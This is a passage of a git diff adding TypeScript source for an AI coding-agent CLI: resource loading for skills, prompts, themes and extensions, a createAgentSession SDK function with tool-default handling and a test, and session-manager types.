= this.skillsOverride ? this.skillsOverride(skillsResult) : skillsResult; + this.skills = resolvedSkills.skills.map((skill) => ({ + ...skill, + sourceInfo: + this.findSourceInfoForPath( + skill.filePath, + this.extensionSkillSourceInfos, + metadataByPath, + ) ?? + skill.sourceInfo ?? + this.getDefaultSourceInfoForPath(skill.filePath), + })); + this.skillDiagnostics = resolvedSkills.diagnostics; + } + + private updatePromptsFromPaths( + promptPaths: string[], + metadataByPath?: Map, + ): void { + let promptsResult: { prompts: PromptTemplate[]; diagnostics: ResourceDiagnostic[] }; + if (this.noPromptTemplates && promptPaths.length === 0) { + promptsResult = { prompts: [], diagnostics: [] }; + } else { + const allPrompts = loadPromptTemplates({ + cwd: this.cwd, + agentDir: this.agentDir, + promptPaths, + includeDefaults: false, + }); + promptsResult = this.dedupePrompts(allPrompts); + } + const resolvedPrompts = this.promptsOverride + ? this.promptsOverride(promptsResult) + : promptsResult; + this.prompts = resolvedPrompts.prompts.map((prompt) => ({ + ...prompt, + sourceInfo: + this.findSourceInfoForPath( + prompt.filePath, + this.extensionPromptSourceInfos, + metadataByPath, + ) ?? + prompt.sourceInfo ?? + this.getDefaultSourceInfoForPath(prompt.filePath), + })); + this.promptDiagnostics = resolvedPrompts.diagnostics; + } + + private updateThemesFromPaths( + themePaths: string[], + metadataByPath?: Map, + ): void { + let themesResult: { themes: Theme[]; diagnostics: ResourceDiagnostic[] }; + if (this.noThemes && themePaths.length === 0) { + themesResult = { themes: [], diagnostics: [] }; + } else { + const loaded = this.loadThemes(themePaths, false); + const deduped = this.dedupeThemes(loaded.themes); + themesResult = { + themes: deduped.themes, + diagnostics: [...loaded.diagnostics, ...deduped.diagnostics], + }; + } + const resolvedThemes = this.themesOverride ? this.themesOverride(themesResult) : themesResult; + this.themes = resolvedThemes.themes.map((theme) => { + const sourcePath = theme.sourcePath; + theme.sourceInfo = sourcePath + ? (this.findSourceInfoForPath(sourcePath, this.extensionThemeSourceInfos, metadataByPath) ?? + theme.sourceInfo ?? + this.getDefaultSourceInfoForPath(sourcePath)) + : theme.sourceInfo; + return theme; + }); + this.themeDiagnostics = resolvedThemes.diagnostics; + } + + private applyExtensionSourceInfo( + extensions: Extension[], + metadataByPath: Map, + ): void { + for (const extension of extensions) { + extension.sourceInfo = + this.findSourceInfoForPath(extension.path, undefined, metadataByPath) ?? + this.getDefaultSourceInfoForPath(extension.path); + for (const command of extension.commands.values()) { + command.sourceInfo = extension.sourceInfo; + } + for (const tool of extension.tools.values()) { + tool.sourceInfo = extension.sourceInfo; + } + } + } + + private findSourceInfoForPath( + resourcePath: string, + extraSourceInfos?: Map, + metadataByPath?: Map, + ): SourceInfo | undefined { + if (!resourcePath) { + return undefined; + } + + if (resourcePath.startsWith("<")) { + return this.getDefaultSourceInfoForPath(resourcePath); + } + + const normalizedResourcePath = resolve(resourcePath); + if (extraSourceInfos) { + for (const [sourcePath, sourceInfo] of extraSourceInfos.entries()) { + const normalizedSourcePath = resolve(sourcePath); + if ( + normalizedResourcePath === normalizedSourcePath || + normalizedResourcePath.startsWith(`${normalizedSourcePath}${sep}`) + ) { + return { ...sourceInfo, path: resourcePath }; + } + } + } + + if (metadataByPath) { + const exact = metadataByPath.get(normalizedResourcePath) ?? metadataByPath.get(resourcePath); + if (exact) { + return createSourceInfo(resourcePath, exact); + } + + for (const [sourcePath, metadata] of metadataByPath.entries()) { + const normalizedSourcePath = resolve(sourcePath); + if ( + normalizedResourcePath === normalizedSourcePath || + normalizedResourcePath.startsWith(`${normalizedSourcePath}${sep}`) + ) { + return createSourceInfo(resourcePath, metadata); + } + } + } + + return undefined; + } + + private getDefaultSourceInfoForPath(filePath: string): SourceInfo { + if (filePath.startsWith("<") && filePath.endsWith(">")) { + return { + path: filePath, + source: filePath.slice(1, -1).split(":")[0] || "temporary", + scope: "temporary", + origin: "top-level", + }; + } + + const normalizedPath = resolve(filePath); + const agentRoots = [ + join(this.agentDir, "skills"), + join(this.agentDir, "prompts"), + join(this.agentDir, "themes"), + join(this.agentDir, "extensions"), + ]; + const projectRoots = [ + join(this.cwd, CONFIG_DIR_NAME, "skills"), + join(this.cwd, CONFIG_DIR_NAME, "prompts"), + join(this.cwd, CONFIG_DIR_NAME, "themes"), + join(this.cwd, CONFIG_DIR_NAME, "extensions"), + ]; + + for (const root of agentRoots) { + if (this.isUnderPath(normalizedPath, root)) { + return { + path: filePath, + source: "local", + scope: "user", + origin: "top-level", + baseDir: root, + }; + } + } + + for (const root of projectRoots) { + if (this.isUnderPath(normalizedPath, root)) { + return { + path: filePath, + source: "local", + scope: "project", + origin: "top-level", + baseDir: root, + }; + } + } + + return { + path: filePath, + source: "local", + scope: "temporary", + origin: "top-level", + baseDir: statSync(normalizedPath).isDirectory() + ? normalizedPath + : resolve(normalizedPath, ".."), + }; + } + + private mergePaths(primary: string[], additional: string[]): string[] { + const merged: string[] = []; + const seen = new Set(); + + for (const p of [...primary, ...additional]) { + const resolved = this.resolveResourcePath(p); + const canonicalPath = canonicalizePath(resolved); + if (seen.has(canonicalPath)) { + continue; + } + seen.add(canonicalPath); + merged.push(resolved); + } + + return merged; + } + + private resolveResourcePath(p: string): string { + const trimmed = p.trim(); + let expanded = trimmed; + if (trimmed === "~") { + expanded = homedir(); + } else if (trimmed.startsWith("~/")) { + expanded = join(homedir(), trimmed.slice(2)); + } else if (trimmed.startsWith("~")) { + expanded = join(homedir(), trimmed.slice(1)); + } + return resolve(this.cwd, expanded); + } + + private loadThemes( + paths: string[], + includeDefaults: boolean = true, + ): { + themes: Theme[]; + diagnostics: ResourceDiagnostic[]; + } { + const themes: Theme[] = []; + const diagnostics: ResourceDiagnostic[] = []; + if (includeDefaults) { + const defaultDirs = [ + join(this.agentDir, "themes"), + join(this.cwd, CONFIG_DIR_NAME, "themes"), + ]; + + for (const dir of defaultDirs) { + this.loadThemesFromDir(dir, themes, diagnostics); + } + } + + for (const p of paths) { + const resolved = resolve(this.cwd, p); + if (!existsSync(resolved)) { + diagnostics.push({ type: "warning", message: "theme path does not exist", path: resolved }); + continue; + } + + try { + const stats = statSync(resolved); + if (stats.isDirectory()) { + this.loadThemesFromDir(resolved, themes, diagnostics); + } else if (stats.isFile() && resolved.endsWith(".json")) { + this.loadThemeFromFile(resolved, themes, diagnostics); + } else { + diagnostics.push({ + type: "warning", + message: "theme path is not a json file", + path: resolved, + }); + } + } catch (error) { + const message = error instanceof Error ? error.message : "failed to read theme path"; + diagnostics.push({ type: "warning", message, path: resolved }); + } + } + + return { themes, diagnostics }; + } + + private loadThemesFromDir(dir: string, themes: Theme[], diagnostics: ResourceDiagnostic[]): void { + if (!existsSync(dir)) { + return; + } + + try { + const entries = readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + isFile = statSync(join(dir, entry.name)).isFile(); + } catch { + continue; + } + } + if (!isFile) { + continue; + } + if (!entry.name.endsWith(".json")) { + continue; + } + this.loadThemeFromFile(join(dir, entry.name), themes, diagnostics); + } + } catch (error) { + const message = error instanceof Error ? error.message : "failed to read theme directory"; + diagnostics.push({ type: "warning", message, path: dir }); + } + } + + private loadThemeFromFile( + filePath: string, + themes: Theme[], + diagnostics: ResourceDiagnostic[], + ): void { + try { + themes.push(loadThemeFromPath(filePath)); + } catch (error) { + const message = error instanceof Error ? error.message : "failed to load theme"; + diagnostics.push({ type: "warning", message, path: filePath }); + } + } + + private async loadExtensionFactories(runtime: ExtensionRuntime): Promise<{ + extensions: Extension[]; + errors: Array<{ path: string; error: string }>; + }> { + const extensions: Extension[] = []; + const errors: Array<{ path: string; error: string }> = []; + + for (const [index, factory] of this.extensionFactories.entries()) { + const extensionPath = ``; + try { + const extension = await loadExtensionFromFactory( + factory, + this.cwd, + this.eventBus, + runtime, + extensionPath, + ); + extensions.push(extension); + } catch (error) { + const message = error instanceof Error ? error.message : "failed to load extension"; + errors.push({ path: extensionPath, error: message }); + } + } + + return { extensions, errors }; + } + + private dedupePrompts(prompts: PromptTemplate[]): { + prompts: PromptTemplate[]; + diagnostics: ResourceDiagnostic[]; + } { + const seen = new Map(); + const diagnostics: ResourceDiagnostic[] = []; + + for (const prompt of prompts) { + const existing = seen.get(prompt.name); + if (existing) { + diagnostics.push({ + type: "collision", + message: `name "/${prompt.name}" collision`, + path: prompt.filePath, + collision: { + resourceType: "prompt", + name: prompt.name, + winnerPath: existing.filePath, + loserPath: prompt.filePath, + }, + }); + } else { + seen.set(prompt.name, prompt); + } + } + + return { prompts: Array.from(seen.values()), diagnostics }; + } + + private dedupeThemes(themes: Theme[]): { themes: Theme[]; diagnostics: ResourceDiagnostic[] } { + const seen = new Map(); + const diagnostics: ResourceDiagnostic[] = []; + + for (const t of themes) { + const name = t.name ?? "unnamed"; + const existing = seen.get(name); + if (existing) { + diagnostics.push({ + type: "collision", + message: `name "${name}" collision`, + path: t.sourcePath, + collision: { + resourceType: "theme", + name, + winnerPath: existing.sourcePath ?? "", + loserPath: t.sourcePath ?? "", + }, + }); + } else { + seen.set(name, t); + } + } + + return { themes: Array.from(seen.values()), diagnostics }; + } + + private discoverSystemPromptFile(): string | undefined { + const projectPath = join(this.cwd, CONFIG_DIR_NAME, "SYSTEM.md"); + if (existsSync(projectPath)) { + return projectPath; + } + + const globalPath = join(this.agentDir, "SYSTEM.md"); + if (existsSync(globalPath)) { + return globalPath; + } + + return undefined; + } + + private discoverAppendSystemPromptFile(): string | undefined { + const projectPath = join(this.cwd, CONFIG_DIR_NAME, "APPEND_SYSTEM.md"); + if (existsSync(projectPath)) { + return projectPath; + } + + const globalPath = join(this.agentDir, "APPEND_SYSTEM.md"); + if (existsSync(globalPath)) { + return globalPath; + } + + return undefined; + } + + private isUnderPath(target: string, root: string): boolean { + const normalizedRoot = resolve(root); + if (target === normalizedRoot) { + return true; + } + const prefix = normalizedRoot.endsWith(sep) ? normalizedRoot : `${normalizedRoot}${sep}`; + return target.startsWith(prefix); + } + + private detectExtensionConflicts( + extensions: Extension[], + ): Array<{ path: string; message: string }> { + const conflicts: Array<{ path: string; message: string }> = []; + + // Track which extension registered each tool and flag + const toolOwners = new Map(); + const flagOwners = new Map(); + + for (const ext of extensions) { + // Check tools + for (const toolName of ext.tools.keys()) { + const existingOwner = toolOwners.get(toolName); + if (existingOwner && existingOwner !== ext.path) { + conflicts.push({ + path: ext.path, + message: `Tool "${toolName}" conflicts with ${existingOwner}`, + }); + } else { + toolOwners.set(toolName, ext.path); + } + } + + // Check flags + for (const flagName of ext.flags.keys()) { + const existingOwner = flagOwners.get(flagName); + if (existingOwner && existingOwner !== ext.path) { + conflicts.push({ + path: ext.path, + message: `Flag "--${flagName}" conflicts with ${existingOwner}`, + }); + } else { + flagOwners.set(flagName, ext.path); + } + } + } + + return conflicts; + } +} diff --git a/src/agents/sessions/sdk.test.ts b/src/agents/sessions/sdk.test.ts new file mode 100644 index 00000000000..8fe52be4f97 --- /dev/null +++ b/src/agents/sessions/sdk.test.ts @@ -0,0 +1,75 @@ +import { Type } from "typebox"; +import { describe, expect, it } from "vitest"; +import type { Model } from "../../llm/types.js"; +import { AuthStorage } from "./auth-storage.js"; +import { createExtensionRuntime } from "./extensions/loader.js"; +import type { LoadExtensionsResult, ToolDefinition } from "./extensions/types.js"; +import { ModelRegistry } from "./model-registry.js"; +import type { ResourceLoader } from "./resource-loader.js"; +import { createAgentSession } from "./sdk.js"; +import { SessionManager } from "./session-manager.js"; +import { SettingsManager } from "./settings-manager.js"; + +const testModel: Model = { + id: "test-model", + name: "Test Model", + api: "openai-responses", + provider: "test-provider", + baseUrl: "https://example.test", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1000, + maxTokens: 1000, +}; + +function createEmptyResourceLoader(): ResourceLoader { + const extensionsResult: LoadExtensionsResult = { + extensions: [], + errors: [], + runtime: createExtensionRuntime(), + }; + return { + getExtensions: () => extensionsResult, + getSkills: () => ({ skills: [], diagnostics: [] }), + getPrompts: () => ({ prompts: [], diagnostics: [] }), + getThemes: () => ({ themes: [], diagnostics: [] }), + getAgentsFiles: () => ({ agentsFiles: [] }), + getSystemPrompt: () => undefined, + getAppendSystemPrompt: () => [], + extendResources: () => {}, + reload: async () => {}, + }; +} + +describe("createAgentSession tool defaults", () => { + it("keeps custom tools active when only builtin tools are disabled", async () => { + const customTool: ToolDefinition = { + name: "custom_lookup", + label: "Custom Lookup", + description: "Looks up a test value.", + parameters: Type.Object({}), + execute: async () => ({ + content: [{ type: "text", text: "ok" }], + details: {}, + }), + }; + + const { session } = await createAgentSession({ + model: testModel, + noTools: "builtin", + customTools: [customTool], + resourceLoader: createEmptyResourceLoader(), + sessionManager: SessionManager.inMemory(), + settingsManager: SettingsManager.inMemory(), + modelRegistry: ModelRegistry.inMemory(AuthStorage.inMemory()), + }); + + expect(session.getActiveToolNames()).toEqual(["custom_lookup"]); + expect(session.getAllTools().map((tool) => tool.name)).toEqual(["custom_lookup"]); + + session.setActiveToolsByName(["bash", "custom_lookup"]); + + expect(session.getActiveToolNames()).toEqual(["custom_lookup"]); + }); +}); diff --git a/src/agents/sessions/sdk.ts b/src/agents/sessions/sdk.ts new file mode 100644 index 00000000000..a0c8dfb791a --- /dev/null +++ b/src/agents/sessions/sdk.ts @@ -0,0 +1,439 @@ +import { join } from "node:path"; +import { clampThinkingLevel } from "../../llm/model-utils.js"; +import { streamSimple } from "../../llm/stream.js"; +import type { Message, Model } from "../../llm/types.js"; +import { getAgentDir } from "../config.js"; +import { Agent, type AgentMessage, type ThinkingLevel } from "../runtime/index.js"; +import { AgentSession } from "./agent-session.js"; +import { formatNoModelsAvailableMessage } from "./auth-guidance.js"; +import { AuthStorage } from "./auth-storage.js"; +import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; +import type { + ExtensionRunner, + LoadExtensionsResult, + SessionStartEvent, + ToolDefinition, +} from "./extensions/index.js"; +import { convertToLlm } from "./messages.js"; +import { ModelRegistry } from "./model-registry.js"; +import { findInitialModel } from "./model-resolver.js"; +import type { ResourceLoader } from "./resource-loader.js"; +import { DefaultResourceLoader } from "./resource-loader.js"; +import { getDefaultSessionDir, SessionManager } from "./session-manager.js"; +import { SettingsManager } from "./settings-manager.js"; +import { isInstallTelemetryEnabled } from "./telemetry.js"; +import { time } from "./timings.js"; +import { + createBashTool, + createCodingTools, + createEditTool, + createFindTool, + createGrepTool, + createLsTool, + createReadOnlyTools, + createReadTool, + createWriteTool, + type ToolName, + withFileMutationQueue, +} from "./tools/index.js"; + +export interface CreateAgentSessionOptions { + /** Working directory for project-local discovery. Default: process.cwd() */ + cwd?: string; + /** Global config directory. Default: ~/.openclaw/agents/default */ + agentDir?: string; + + /** Auth storage for credentials. Default: AuthStorage.create(agentDir/auth.json) */ + authStorage?: AuthStorage; + /** Model registry. Default: ModelRegistry.create(authStorage, agentDir/models.json) */ + modelRegistry?: ModelRegistry; + + /** Model to use. Default: from settings, else first available */ + model?: Model; + /** Thinking level. Default: from settings, else 'medium' (clamped to model capabilities) */ + thinkingLevel?: ThinkingLevel; + /** Models available for cycling (Ctrl+P in interactive mode) */ + scopedModels?: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; + + /** + * Optional default tool suppression mode when no explicit allowlist is provided. + * + * - "all": start with no tools enabled + * - "builtin": disable the default built-in tools (read, bash, edit, write) + * but keep extension/custom tools enabled + */ + noTools?: "all" | "builtin"; + /** + * Optional allowlist of tool names. + * + * When omitted, OpenClaw enables the default built-in tools (read, bash, edit, write) + * and leaves extension/custom tools enabled unless `noTools` changes that default. + * When provided, only the listed tool names are enabled. + */ + tools?: string[]; + /** Custom tools to register (in addition to built-in tools). */ + customTools?: ToolDefinition[]; + + /** Resource loader. When omitted, DefaultResourceLoader is used. */ + resourceLoader?: ResourceLoader; + + /** Session manager. Default: SessionManager.create(cwd) */ + sessionManager?: SessionManager; + + /** Settings manager. Default: SettingsManager.create(cwd, agentDir) */ + settingsManager?: SettingsManager; + /** Session start event metadata for extension runtime startup. */ + sessionStartEvent?: SessionStartEvent; +} + +/** Result from createAgentSession */ +export interface CreateAgentSessionResult { + /** The created session */ + session: AgentSession; + /** Extensions result (for UI context setup in interactive mode) */ + extensionsResult: LoadExtensionsResult; + /** Warning if session was restored with a different model than saved */ + modelFallbackMessage?: string; +} + +// Re-exports + +export type { + ExtensionAPI, + ExtensionCommandContext, + ExtensionContext, + ExtensionFactory, + SlashCommandInfo, + SlashCommandSource, + ToolDefinition, +} from "./extensions/index.js"; +export type { PromptTemplate } from "./prompt-templates.js"; +export type { Skill } from "./skills.js"; +export type { Tool } from "./tools/index.js"; + +export { + withFileMutationQueue, + // Tool factories (for custom cwd) + createCodingTools, + createReadOnlyTools, + createReadTool, + createBashTool, + createEditTool, + createWriteTool, + createGrepTool, + createFindTool, + createLsTool, +}; + +// Helper Functions + +function getDefaultAgentDir(): string { + return getAgentDir(); +} + +function getAttributionHeaders( + model: Model, + settingsManager: SettingsManager, +): Record | undefined { + if (!isInstallTelemetryEnabled(settingsManager)) { + return undefined; + } + + if (model.provider === "openrouter" || model.baseUrl.includes("openrouter.ai")) { + return { + "HTTP-Referer": "https://openclaw.ai", + "X-OpenRouter-Title": "OpenClaw", + "X-OpenRouter-Categories": "cli-agent", + }; + } + + if ( + model.provider === "cloudflare-workers-ai" || + model.provider === "cloudflare-ai-gateway" || + model.baseUrl.includes("api.cloudflare.com") || + model.baseUrl.includes("gateway.ai.cloudflare.com") + ) { + return { + "User-Agent": "openclaw", + }; + } + + return undefined; +} + +/** + * Create an AgentSession with the specified options. + * + * @example + * ```typescript + * // Minimal - uses defaults + * const { session } = await createAgentSession(); + * + * // With explicit model from the configured registry + * const model = ModelRegistry.create(AuthStorage.load()).find('anthropic', 'claude-opus-4-5'); + * const { session } = await createAgentSession({ + * model, + * thinkingLevel: 'high', + * }); + * + * // Continue previous session + * const { session, modelFallbackMessage } = await createAgentSession({ + * continueSession: true, + * }); + * + * // Full control + * const loader = new DefaultResourceLoader({ + * cwd: process.cwd(), + * agentDir: getAgentDir(), + * settingsManager: SettingsManager.create(), + * }); + * await loader.reload(); + * const { session } = await createAgentSession({ + * model: myModel, + * tools: ["read", "bash"], + * resourceLoader: loader, + * sessionManager: SessionManager.inMemory(), + * }); + * ``` + */ +export async function createAgentSession( + options: CreateAgentSessionOptions = {}, +): Promise { + const cwd = options.cwd ?? options.sessionManager?.getCwd() ?? process.cwd(); + const agentDir = options.agentDir ?? getDefaultAgentDir(); + let resourceLoader = options.resourceLoader; + + // Use provided or create AuthStorage and ModelRegistry + const authPath = options.agentDir ? join(agentDir, "auth.json") : undefined; + const modelsPath = options.agentDir ? join(agentDir, "models.json") : undefined; + const authStorage = options.authStorage ?? AuthStorage.create(authPath); + const modelRegistry = options.modelRegistry ?? ModelRegistry.create(authStorage, modelsPath); + + const settingsManager = options.settingsManager ?? SettingsManager.create(cwd, agentDir); + const sessionManager = + options.sessionManager ?? SessionManager.create(cwd, getDefaultSessionDir(cwd, agentDir)); + + if (!resourceLoader) { + resourceLoader = new DefaultResourceLoader({ cwd, agentDir, settingsManager }); + await resourceLoader.reload(); + time("resourceLoader.reload"); + } + + // Check if session has existing data to restore + const existingSession = sessionManager.buildSessionContext(); + const hasExistingSession = existingSession.messages.length > 0; + const hasThinkingEntry = sessionManager + .getBranch() + .some((entry) => entry.type === "thinking_level_change"); + + let model = options.model; + let modelFallbackMessage: string | undefined; + + // If session has data, try to restore model from it + if (!model && hasExistingSession && existingSession.model) { + const restoredModel = modelRegistry.find( + existingSession.model.provider, + existingSession.model.modelId, + ); + if (restoredModel && modelRegistry.hasConfiguredAuth(restoredModel)) { + model = restoredModel; + } + if (!model) { + modelFallbackMessage = `Could not restore model ${existingSession.model.provider}/${existingSession.model.modelId}`; + } + } + + // If still no model, use findInitialModel (checks settings default, then provider defaults) + if (!model) { + const result = await findInitialModel({ + scopedModels: [], + isContinuing: hasExistingSession, + defaultProvider: settingsManager.getDefaultProvider(), + defaultModelId: settingsManager.getDefaultModel(), + defaultThinkingLevel: settingsManager.getDefaultThinkingLevel(), + modelRegistry, + }); + model = result.model; + if (!model) { + modelFallbackMessage = formatNoModelsAvailableMessage(); + } else if (modelFallbackMessage) { + modelFallbackMessage += `. Using ${model.provider}/${model.id}`; + } + } + + let thinkingLevel = options.thinkingLevel; + + // If session has data, restore thinking level from it + if (thinkingLevel === undefined && hasExistingSession) { + thinkingLevel = hasThinkingEntry + ? (existingSession.thinkingLevel as ThinkingLevel) + : (settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL); + } + + // Fall back to settings default + if (thinkingLevel === undefined) { + thinkingLevel = settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL; + } + + // Clamp to model capabilities + if (!model) { + thinkingLevel = "off"; + } else { + thinkingLevel = clampThinkingLevel(model, thinkingLevel) as ThinkingLevel; + } + + const defaultActiveToolNames: ToolName[] = ["read", "bash", "edit", "write"]; + const customToolNames = options.customTools?.map((tool) => tool.name) ?? []; + const allowedToolNames = options.tools ?? (options.noTools === "all" ? [] : undefined); + const disableBuiltInTools = !options.tools && options.noTools === "builtin"; + const initialActiveToolNames: string[] = options.tools + ? [...options.tools] + : options.noTools === "all" + ? [] + : options.noTools === "builtin" + ? customToolNames + : defaultActiveToolNames; + + let agent: Agent; + + // Create convertToLlm wrapper that filters images if blockImages is enabled (defense-in-depth) + const convertToLlmWithBlockImages = (messages: AgentMessage[]): Message[] => { + const converted = convertToLlm(messages); + // Check setting dynamically so mid-session changes take effect + if (!settingsManager.getBlockImages()) { + return converted; + } + // Filter out ImageContent from all messages, replacing with text placeholder + return converted.map((msg) => { + if (msg.role === "user" || msg.role === "toolResult") { + const content = msg.content; + if (Array.isArray(content)) { + const hasImages = content.some((c) => c.type === "image"); + if (hasImages) { + const filteredContent = content + .map((c) => + c.type === "image" + ? { type: "text" as const, text: "Image reading is disabled." } + : c, + ) + .filter( + (c, i, arr) => + // Dedupe consecutive "Image reading is disabled." texts + !( + c.type === "text" && + c.text === "Image reading is disabled." && + i > 0 && + arr[i - 1].type === "text" && + (arr[i - 1] as { type: "text"; text: string }).text === + "Image reading is disabled." + ), + ); + return Object.assign({}, msg, { content: filteredContent }); + } + } + } + return msg; + }); + }; + + const extensionRunnerRef: { current?: ExtensionRunner } = {}; + + agent = new Agent({ + initialState: { + systemPrompt: "", + model, + thinkingLevel, + tools: [], + }, + convertToLlm: convertToLlmWithBlockImages, + streamFn: async (model, context, options) => { + const auth = await modelRegistry.getApiKeyAndHeaders(model); + if (!auth.ok) { + throw new Error(auth.error); + } + const providerRetrySettings = settingsManager.getProviderRetrySettings(); + const attributionHeaders = getAttributionHeaders(model, settingsManager); + return streamSimple(model, context, { + ...options, + apiKey: auth.apiKey, + timeoutMs: options?.timeoutMs ?? providerRetrySettings.timeoutMs, + maxRetries: options?.maxRetries ?? providerRetrySettings.maxRetries, + maxRetryDelayMs: options?.maxRetryDelayMs ?? providerRetrySettings.maxRetryDelayMs, + headers: + attributionHeaders || auth.headers || options?.headers + ? { ...attributionHeaders, ...auth.headers, ...options?.headers } + : undefined, + }); + }, + onPayload: async (payload, model) => { + void model; + const runner = extensionRunnerRef.current; + if (!runner?.hasHandlers("before_provider_request")) { + return payload; + } + return runner.emitBeforeProviderRequest(payload); + }, + onResponse: async (response, model) => { + void model; + const runner = extensionRunnerRef.current; + if (!runner?.hasHandlers("after_provider_response")) { + return; + } + await runner.emit({ + type: "after_provider_response", + status: response.status, + headers: response.headers, + }); + }, + sessionId: sessionManager.getSessionId(), + transformContext: async (messages) => { + const runner = extensionRunnerRef.current; + if (!runner) { + return messages; + } + return runner.emitContext(messages); + }, + steeringMode: settingsManager.getSteeringMode(), + followUpMode: settingsManager.getFollowUpMode(), + transport: settingsManager.getTransport(), + thinkingBudgets: settingsManager.getThinkingBudgets(), + maxRetryDelayMs: settingsManager.getProviderRetrySettings().maxRetryDelayMs, + }); + + // Restore messages if session has existing data + if (hasExistingSession) { + agent.state.messages = existingSession.messages; + if (!hasThinkingEntry) { + sessionManager.appendThinkingLevelChange(thinkingLevel); + } + } else { + // Save initial model and thinking level for new sessions so they can be restored on resume + if (model) { + sessionManager.appendModelChange(model.provider, model.id); + } + sessionManager.appendThinkingLevelChange(thinkingLevel); + } + + const session = new AgentSession({ + agent, + sessionManager, + settingsManager, + cwd, + scopedModels: options.scopedModels, + resourceLoader, + customTools: options.customTools, + modelRegistry, + initialActiveToolNames, + allowedToolNames, + disableBuiltInTools, + extensionRunnerRef, + sessionStartEvent: options.sessionStartEvent, + }); + const extensionsResult = resourceLoader.getExtensions(); + + return { + session, + extensionsResult, + modelFallbackMessage, + }; +} diff --git a/src/agents/sessions/session-cwd.ts b/src/agents/sessions/session-cwd.ts new file mode 100644 index 00000000000..92ac5aba2db --- /dev/null +++ b/src/agents/sessions/session-cwd.ts @@ -0,0 +1,62 @@ +import { existsSync } from "node:fs"; + +export interface SessionCwdIssue { + sessionFile?: string; + sessionCwd: string; + fallbackCwd: string; +} + +interface SessionCwdSource { + getCwd(): string; + getSessionFile(): string | undefined; +} + +export function getMissingSessionCwdIssue( + sessionManager: SessionCwdSource, + fallbackCwd: string, +): SessionCwdIssue | undefined { + const sessionFile = sessionManager.getSessionFile(); + if (!sessionFile) { + return undefined; + } + + const sessionCwd = sessionManager.getCwd(); + if (!sessionCwd || existsSync(sessionCwd)) { + return undefined; + } + + return { + sessionFile, + sessionCwd, + fallbackCwd, + }; +} + +export function formatMissingSessionCwdError(issue: SessionCwdIssue): string { + const sessionFile = issue.sessionFile ? `\nSession file: ${issue.sessionFile}` : ""; + return `Stored session working directory does not exist: ${issue.sessionCwd}${sessionFile}\nCurrent working directory: ${issue.fallbackCwd}`; +} + +export function formatMissingSessionCwdPrompt(issue: SessionCwdIssue): string { + return `cwd from session file does not exist\n${issue.sessionCwd}\n\ncontinue in current cwd\n${issue.fallbackCwd}`; +} + +export class MissingSessionCwdError extends Error { + readonly issue: SessionCwdIssue; + + constructor(issue: SessionCwdIssue) { + super(formatMissingSessionCwdError(issue)); + this.name = "MissingSessionCwdError"; + this.issue = issue; + } +} + +export function assertSessionCwdExists( + sessionManager: SessionCwdSource, + fallbackCwd: string, +): void { + const issue = getMissingSessionCwdIssue(sessionManager, fallbackCwd); + if (issue) { + throw new MissingSessionCwdError(issue); + } +} diff --git a/src/agents/sessions/session-manager.ts b/src/agents/sessions/session-manager.ts new file mode 100644 index 00000000000..993cca01eed --- /dev/null +++ b/src/agents/sessions/session-manager.ts @@ -0,0 +1,1462 @@ +import { randomUUID } from "node:crypto"; +import { + closeSync, + existsSync, + mkdirSync, + openSync, + readdirSync, + readFileSync, + readSync, + statSync, +} from "node:fs"; +import { readdir, readFile, stat } from "node:fs/promises"; +import { join, resolve } from "node:path"; +import { + appendJsonlEntriesSync, + appendJsonlEntrySync, + writeJsonlEntriesSync, +} from "../../config/sessions/transcript-jsonl.js"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; +import type { ImageContent, Message, TextContent } from "../../llm/types.js"; +import { getAgentDir as getDefaultAgentDir, getSessionsDir } from "../config.js"; +import { + type AgentMessage, + buildSessionContext as buildCoreSessionContext, + type SessionTreeEntry as CoreSessionTreeEntry, + uuidv7, +} from "../runtime/index.js"; +import { type BashExecutionMessage, type CustomMessage } from "./messages.js"; + +export { CURRENT_SESSION_VERSION }; + +export interface SessionHeader { + type: "session"; + version?: number; // v1 sessions don't have this + id: string; + timestamp: string; + cwd: string; + parentSession?: string; +} + +export interface NewSessionOptions { + id?: string; + parentSession?: string; +} + +export interface SessionEntryBase { + type: string; + id: string; + parentId: string | null; + timestamp: string; +} + +export interface SessionMessageEntry extends SessionEntryBase { + type: "message"; + message: AgentMessage; +} + +export interface ThinkingLevelChangeEntry extends SessionEntryBase { + type: "thinking_level_change"; + thinkingLevel: string; +} + +export interface ModelChangeEntry extends SessionEntryBase { + type: "model_change"; + provider: string; + modelId: string; +} + +export interface CompactionEntry extends SessionEntryBase { + type: "compaction"; + summary: string; + firstKeptEntryId: string; + tokensBefore: number; + /** Extension-specific data (e.g., ArtifactIndex, version markers for structured compaction) */ + details?: T; + /** True if generated by an extension, undefined/false if runtime-generated (backward compatible) */ + fromHook?: boolean; +} + +export interface BranchSummaryEntry extends SessionEntryBase { + type: "branch_summary"; + fromId: string; + summary: string; + /** Extension-specific data (not sent to LLM) */ + details?: T; + /** True if generated by an extension, false if runtime-generated */ + fromHook?: boolean; +} + +/** + * Custom entry for extensions to store extension-specific data in the session. + * Use customType to identify your extension's entries. + * + * Purpose: Persist extension state across session reloads. On reload, extensions can + * scan entries for their customType and reconstruct internal state. + * + * Does NOT participate in LLM context (ignored by buildSessionContext). + * For injecting content into context, see CustomMessageEntry. + */ +export interface CustomEntry extends SessionEntryBase { + type: "custom"; + customType: string; + data?: T; +} + +/** Label entry for user-defined bookmarks/markers on entries. */ +export interface LabelEntry extends SessionEntryBase { + type: "label"; + targetId: string; + label: string | undefined; +} + +/** Session metadata entry (e.g., user-defined display name). */ +export interface SessionInfoEntry extends SessionEntryBase { + type: "session_info"; + name?: string; +} + +/** + * Custom message entry for extensions to inject messages into LLM context. + * Use customType to identify your extension's entries. + * + * Unlike CustomEntry, this DOES participate in LLM context. + * The content is converted to a user message in buildSessionContext(). + * Use details for extension-specific metadata (not sent to LLM). + * + * display controls TUI rendering: + * - false: hidden entirely + * - true: rendered with distinct styling (different from user messages) + */ +export interface CustomMessageEntry extends SessionEntryBase { + type: "custom_message"; + customType: string; + content: string | (TextContent | ImageContent)[]; + details?: T; + display: boolean; +} + +/** Session entry - has id/parentId for 